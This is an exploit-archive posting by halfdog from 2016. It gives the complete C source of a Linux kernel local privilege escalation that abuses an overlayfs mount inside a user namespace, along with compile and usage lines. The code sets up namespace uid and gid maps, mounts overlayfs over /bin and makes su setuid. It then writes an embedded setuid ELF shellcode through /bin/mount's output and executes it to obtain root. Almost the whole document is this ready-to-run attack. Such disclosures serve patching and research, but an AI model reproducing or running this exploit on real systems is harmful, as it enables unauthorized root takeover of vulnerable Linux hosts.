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Linux Kernel overlayfs Local Privilege Escalation

Linux Kernel overlayfs Local Privilege Escalation
Posted Jan 11, 2016
Authored by halfdog

This program demonstrates how to escalate privileges using an overlayfs mount within a user namespace.

tags | exploit
MD5 | cb6b4abeadb8fc888ce3a689c7f64f7c

Linux Kernel overlayfs Local Privilege Escalation

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/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
*
* This program demonstrates how to escalate privileges using
* an overlayfs mount within a user namespace. See
* http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
* for more information.
*
* gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c
*
* Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args]
*
*/

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while(geteuid()!=0) {
usleep(100);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
if(result) {
fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
chdir("/tmp/x/bin");
result=chmod("su", 04777);
if(result) {
fprintf(stderr, "Mode change failed\n");
return(1);
}

fprintf(stderr, "Namespace helper waiting for modification completion\n");
struct stat statBuf;
char checkPath[128];
sprintf(checkPath, "/proc/%d", getppid());
while(1) {
usleep(100);
result=stat(checkPath, &statBuf);

if(result) {
fprintf(stderr, "Namespacer helper: parent terminated\n");
break;
}
// Wait until parent has escalated.
if(statBuf.st_uid) break;
}

chdir("/");
umount("/tmp/x/bin");
unlink("/tmp/x/over/su");
rmdir("/tmp/x/over");
rmdir("/tmp/x/bin/work");
rmdir("/tmp/x/bin");
rmdir("/tmp/x/");
fprintf(stderr, "Namespace part completed\n");

return(0);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
int argPos;
int result;
char *targetSuidPath="/bin/su";
char *helperSuidPath="/bin/mount";

for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}

fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}

mkdir("/tmp/x", 0700);
mkdir("/tmp/x/bin", 0700);
mkdir("/tmp/x/over", 0700);

// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}

char idMapFileName[128];
char idMapData[128];

sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);

sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);

sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(gidMapFd);

// Wait until /tmp/x/over/su exists
struct stat statBuf;
while(1) {
usleep(100);
result=stat("/tmp/x/over/su", &statBuf);
if(!result) break;
}

// Overwrite the file
sprintf(idMapFileName, "/proc/%d/cwd/su", pid);

// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80,

0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,

0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
char *helperArgs[]={"/bin/mount", NULL};

int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
return(1);
}

char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;

pid_t helperPid=fork();
if(!helperPid) {
struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);

dup2(destFd, 1);
dup2(destFd, 2);
helperArgs[0]=suidWriteNext;
execve(helperSuidPath, helperArgs, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(helperPid, NULL, 0);
suidWriteNext=suidWriteTestPos;
}
close(destFd);
execve(idMapFileName, argv+argPos-1, NULL);
fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
errno, strerror(errno));
return(1);
}
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